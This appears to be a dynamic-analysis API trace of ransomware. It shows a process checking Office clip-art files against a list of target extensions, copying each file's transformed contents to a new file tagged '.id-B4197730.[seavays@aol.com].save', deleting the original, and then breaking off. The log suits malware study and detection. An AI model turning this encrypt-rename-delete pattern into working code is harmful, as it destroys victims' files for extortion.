lstrlenW (lpString=".docx") returned 5 [0170.174] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.174] lstrlenW (lpString=".pdf") returned 4 [0170.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.174] lstrlenW (lpString=".xls") returned 4 [0170.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.175] lstrlenW (lpString=".xlsx") returned 5 [0170.175] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.175] lstrlenW (lpString=".ppt") returned 4 [0170.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString=".zip") returned 4 [0170.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.175] lstrlenW (lpString=".rar") returned 4 [0170.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString=".bz2") returned 4 [0170.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString=".7z") returned 3 [0170.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString=".dbf") returned 4 [0170.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString=".1cd") returned 4 [0170.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString=".jpg") returned 4 [0170.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.175] lstrlenW (lpString=".doc") returned 4 [0170.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString=".docx") returned 5 [0170.175] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.175] lstrlenW (lpString=".pdf") returned 4 [0170.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.175] lstrlenW (lpString=".xls") returned 4 [0170.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.176] lstrlenW (lpString=".xlsx") returned 5 [0170.176] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.176] lstrlenW (lpString=".ppt") returned 4 [0170.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.176] lstrlenW (lpString=".zip") returned 4 [0170.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.176] lstrlenW (lpString=".rar") returned 4 [0170.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.176] lstrlenW (lpString=".bz2") returned 4 [0170.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.176] lstrlenW (lpString=".7z") returned 3 [0170.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.176] lstrlenW (lpString=".dbf") returned 4 [0170.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.176] lstrlenW (lpString=".1cd") returned 4 [0170.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0170.176] lstrlenW (lpString=".jpg") returned 4 [0170.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.176] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.176] lstrlenW (lpString="J0105520.WMF") returned 12 [0170.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.178] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=31812) returned 1 [0170.178] CloseHandle (hObject=0x540) returned 1 [0170.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0170.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.179] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.179] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.180] GetLastError () returned 0x0 [0170.180] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x7c44, lpOverlapped=0x0) returned 1 [0170.182] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x7c50, lpOverlapped=0x0) returned 1 [0170.183] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.183] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.183] SetEndOfFile (hFile=0x51c) returned 1 [0170.184] CloseHandle (hObject=0x51c) returned 1 [0170.184] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.184] SetEndOfFile (hFile=0x540) returned 1 [0170.187] CloseHandle (hObject=0x540) returned 1 [0170.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.188] lstrlenW (lpString=".doc") returned 4 [0170.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString=".docx") returned 5 [0170.188] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.188] lstrlenW (lpString=".pdf") returned 4 [0170.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.188] lstrlenW (lpString=".xls") returned 4 [0170.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.189] lstrlenW (lpString=".xlsx") returned 5 [0170.189] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.189] lstrlenW (lpString=".ppt") returned 4 [0170.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString=".zip") returned 4 [0170.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.189] lstrlenW (lpString=".rar") returned 4 [0170.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString=".bz2") returned 4 [0170.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString=".7z") returned 3 [0170.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString=".dbf") returned 4 [0170.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString=".1cd") returned 4 [0170.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString=".jpg") returned 4 [0170.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.189] lstrlenW (lpString=".doc") returned 4 [0170.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString=".docx") returned 5 [0170.189] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.189] lstrlenW (lpString=".pdf") returned 4 [0170.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.189] lstrlenW (lpString=".xls") returned 4 [0170.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.190] lstrlenW (lpString=".xlsx") returned 5 [0170.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.190] lstrlenW (lpString=".ppt") returned 4 [0170.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.190] lstrlenW (lpString=".zip") returned 4 [0170.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.190] lstrlenW (lpString=".rar") returned 4 [0170.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.190] lstrlenW (lpString=".bz2") returned 4 [0170.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.190] lstrlenW (lpString=".7z") returned 3 [0170.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.190] lstrlenW (lpString=".dbf") returned 4 [0170.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.190] lstrlenW (lpString=".1cd") returned 4 [0170.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0170.190] lstrlenW (lpString=".jpg") returned 4 [0170.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.190] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.190] lstrlenW (lpString="J0105526.WMF") returned 12 [0170.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.191] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=17332) returned 1 [0170.191] CloseHandle (hObject=0x540) returned 1 [0170.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0170.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.192] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.192] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.193] GetLastError () returned 0x0 [0170.193] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x43b4, lpOverlapped=0x0) returned 1 [0170.502] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x43c0, lpOverlapped=0x0) returned 1 [0170.504] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.504] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.504] SetEndOfFile (hFile=0x51c) returned 1 [0170.504] CloseHandle (hObject=0x51c) returned 1 [0170.504] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.504] SetEndOfFile (hFile=0x540) returned 1 [0170.627] CloseHandle (hObject=0x540) returned 1 [0170.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0170.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.628] lstrlenW (lpString=".doc") returned 4 [0170.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.628] lstrlenW (lpString=".docx") returned 5 [0170.628] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.628] lstrlenW (lpString=".pdf") returned 4 [0170.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.628] lstrlenW (lpString=".xls") returned 4 [0170.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.628] lstrlenW (lpString=".xlsx") returned 5 [0170.628] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.628] lstrlenW (lpString=".ppt") returned 4 [0170.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.628] lstrlenW (lpString=".zip") returned 4 [0170.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.628] lstrlenW (lpString=".rar") returned 4 [0170.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString=".bz2") returned 4 [0170.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString=".7z") returned 3 [0170.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString=".dbf") returned 4 [0170.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString=".1cd") returned 4 [0170.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString=".jpg") returned 4 [0170.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString=".doc") returned 4 [0170.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString=".docx") returned 5 [0170.629] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.629] lstrlenW (lpString=".pdf") returned 4 [0170.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString=".xls") returned 4 [0170.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.629] lstrlenW (lpString=".xlsx") returned 5 [0170.629] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.629] lstrlenW (lpString=".ppt") returned 4 [0170.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.629] lstrlenW (lpString=".zip") returned 4 [0170.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.629] lstrlenW (lpString=".rar") returned 4 [0170.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.630] lstrlenW (lpString=".bz2") returned 4 [0170.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.630] lstrlenW (lpString=".7z") returned 3 [0170.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.630] lstrlenW (lpString=".dbf") returned 4 [0170.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.630] lstrlenW (lpString=".1cd") returned 4 [0170.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0170.630] lstrlenW (lpString=".jpg") returned 4 [0170.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.630] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.630] lstrlenW (lpString="J0105912.WMF") returned 12 [0170.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.631] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=11720) returned 1 [0170.631] CloseHandle (hObject=0x540) returned 1 [0170.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0170.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.632] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.632] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.679] GetLastError () returned 0x0 [0170.679] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0170.681] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0170.683] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.683] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.683] SetEndOfFile (hFile=0x548) returned 1 [0170.734] CloseHandle (hObject=0x548) returned 1 [0170.734] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.734] SetEndOfFile (hFile=0x540) returned 1 [0170.738] CloseHandle (hObject=0x540) returned 1 [0170.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.739] lstrlenW (lpString=".doc") returned 4 [0170.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.739] lstrlenW (lpString=".docx") returned 5 [0170.739] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.739] lstrlenW (lpString=".pdf") returned 4 [0170.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.739] lstrlenW (lpString=".xls") returned 4 [0170.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.739] lstrlenW (lpString=".xlsx") returned 5 [0170.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.739] lstrlenW (lpString=".ppt") returned 4 [0170.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString=".zip") returned 